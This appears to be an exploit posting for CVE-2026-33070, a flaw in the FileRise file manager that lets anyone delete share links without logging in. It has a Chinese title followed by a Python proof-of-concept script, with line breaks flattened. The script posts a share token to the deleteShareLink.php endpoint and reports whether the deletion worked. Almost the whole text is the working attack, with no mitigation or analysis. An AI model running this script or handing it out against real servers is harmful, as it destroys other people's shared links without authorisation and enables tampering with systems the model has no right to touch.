CVE-2026-33070 FileRise未授权删除分享链接漏洞

import requests def delete_share_link(target_url, share_token): """ Exploit for CVE-2026-33070 Deletes a share link without authentication. """ # The vulnerable endpoint endpoint = f"{target_url}/api/file/deleteShareLink.php" # Payload containing the share token payload = { "token": share_token } try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print(f"[+] Successfully deleted share link with token: {share_token}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage target = "http://localhost" token = "example_share_token_123" delete_share_link(target, token)